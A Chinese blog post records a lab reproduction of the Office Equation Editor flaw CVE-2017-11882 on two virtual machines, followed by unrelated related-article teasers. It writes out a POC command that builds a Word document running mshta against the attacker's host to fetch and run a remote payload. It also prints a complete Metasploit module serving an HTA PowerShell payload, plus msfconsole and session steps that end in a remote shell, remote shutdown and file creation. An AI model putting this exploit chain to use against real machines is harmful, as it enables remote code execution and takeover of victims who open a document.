Office隱藏17年的漏洞CVE_2017_11882測試記錄

-Advertisement-

打開文檔變肉雞：潛伏17年的“噩夢公式”Office漏洞攻擊分析微軟的11月份的安全補丁包含了一個隱藏17年之久的Office遠程代碼執行漏洞（CVE-2017-11882），該漏洞影響目前所有流行的Office軟體。 ...

Office隱藏17年的漏洞CVE_2017_11882測試記錄

創建時間：	2017/11/25 0:18
作者：	CN_Simo
標簽：	Office漏洞

參考文章1：https://www.cnblogs.com/Oran9e/p/7880832.html 參考文章2：https://www.cnblogs.com/i-honey/p/7885573.html POC地址：https://github.com/Ridter/CVE-2017-11882/ 中間環節出現，msf連接資料庫失敗的情況，解決方法：https://www.cnblogs.com/justforfun12/p/5205804.html 1.製造條件這裡搭建兩台虛擬機進行測試！測試機配置信息：

操作系統	Win7_x64 企業版
Office版本	Office 2013
防火牆狀態	開啟
IP	192.168.1.103
系統語言	Chinese

操作系統	Kali 2.1 中文
IP	192.168.1.104

首先在kali下安裝nginx，或者tomcat應該也是可以的，首先將生成的doc文件放在/usr/share/nginx/html目錄下，方便被攻擊的機器獲取doc文件。啟動nginx服務：systemctl start nginx 使用Command43b_CVE-2017-11882.py生成doc文件 python Command43b_CVE-2017-11882.py -c "mshta http://192.168.1.104:8080/abc";; -o cev2.doc # 將下載好的漏洞模塊放在msf任意目錄下 root@kali:/# mv cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/ cve_2017_11882.rb的內容如下： ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Office Payload Delivery', 'Description' => %q{ This module generates an command to place within a word document, that when executed, will retrieve a HTA payload via HTTP from an web server. Currently have not figured out how to generate a doc. }, 'License' => MSF_LICENSE, 'Arch' => ARCH_X86, 'Platform' => 'win', 'Targets' => [ ['Automatic', {} ], ], 'DefaultTarget' => 0, )) end def on_request_uri(cli, _request) print_status("Delivering payload") p = regenerate_payload(cli) data = Msf::Util::EXE.to_executable_fmt( framework, ARCH_X86, 'win', p.encoded, 'hta-psh', { :arch => ARCH_X86, :platform => 'win '} ) send_response(cli, data, 'Content-Type' => 'application/hta') end def primer url = get_uri print_status("Place the following DDE in an MS document:") print_line("mshta.exe \"#{url}\"") end 然後，這裡在使用msfconsole之前，需要先打開資料庫，例如 service postgresql start 打開資料庫之後，進入msfconsole，然後對msf進行初始化，執行msf init 之後search cve_2017_11882搜索漏洞模塊，然後按照【參考文章2】進行配置，最後 exploit 之後啟動對 8080 埠的監聽，至於為什麼是8080埠我也不太清楚啊！ 2.萬事俱備，只欠東風這個時候，只需要在 win7 上通過瀏覽器的到 cve2.doc文檔，打開之後，kali中命令行立刻顯示已經獲取到了連接，

session命令得到回話，session -i 【id】建立連接 shell命令可以得到cmd，執行net user查看用戶

3.實驗效果通過這個漏洞，可以肆無忌憚的執行一些命令，例如關機，刪除一些文件，收集一些系統信息還是非常有用的在桌面新建文件夾

遠程關機

雖然獲取到了命令行，但是通過net user命令可以看到登錄的用戶級別是Guest，這就限制了一些需要許可權較高的命令執行！而且這裡win7沒有安裝殺軟，我不知道安裝殺軟之後word文檔會不會被查殺呢？

您的分享是我們最大的動力!

-Advertisement-

更多相關文章

面向對象與原型

說真的，學習JavaScript時，面向對象與原型這章特別考驗你的編程基礎能力，邏輯性很強，初學時，整個人都是懵逼的狀態，現在依然有點，每個函數的封裝方式都是從缺點最多的寫法進入，再一步一步深入，不斷優化函數，最終，使得自己寫出的函數能夠代碼精簡，並且相容性好，下麵我就分享下最基礎的工廠模式吧！（創 ...
vue日誌demo，增刪改查的練習（無vuex版本）

安裝 1. 確定電腦已裝node和npm 出現版本號則說明電腦已經安裝好node和npm2. 創建一個基於webpack的項目 3. 在項目里安裝依賴 4. 運行配置路由為了動態渲染各個頁面的組件，這個是必須的，這些都在router文件夾里的index.js配置好，在components文件夾在下 ...
記CSS格式化上下文

fomatting context 引言主要講解的是BFC上下文本文是查看 "史上最全面、最透徹的BFC原理剖析" 的筆記所以不會詳解BFC, 只是記錄學習心得, 以及重要規則避免原文失效簡介 Formatting context是W3C CSS2.1規範中的一個概念。它是頁面中的一塊渲染區 ...
window環境下npm install node-sass報錯

最近準備想用vue-cli初始化一個項目，需要sass-loader編譯；發現window下npm install node-sass和sass-loader一直報錯， window 命令行中提示我全局安裝 node-gyp ,有些提示好像是本地找不到python, 於是我按照提示安裝node-g ...
iOS-PYSearch完美搜索頁

APP搜索頁基本上是少不了的，熱門搜索、搜索記錄等；這裡推薦一個大牛ko1o寫的：PYSearch，他還有一個不錯的圖片瀏覽開源：PYPhotoBrowser；這個也不錯，感興趣的可以瞭解下；下麵說下PYSearch的主要功能及（原Gitdemo）效果；熱門搜索風格 PYHotSearchStyl ...
【代碼筆記】iOS-HTTPQueue下載圖片

一，工程圖。二，代碼。 ViewController.h ViewController.m ...
2017.11.25 中斷與數位管動態顯示

數組基本概念： 1、具有相同的數據類型 2、具有相同的名字 3、在存儲器中的存儲是連續的註意：區分數組下標和數組元素個數的概念，數組下標可以是常量或變數，數組賦值只能在初始化進行，程式只能進行單個元素賦值。 switch（） { case 常量表達式1：語句1；break； default 常量 ...
Linux入門基礎篇

Linux入門基礎篇 Linux誕生 Linux發行版本說明 Linux官方網站 Linux內核官方網站比較有名的Linux發行版虛擬機（Virtual Machine），一個虛擬的系統，安裝在系統中的系統 Linux與Windows的不同 Linux基本命令入門 Windows命令行入門（搜索 ...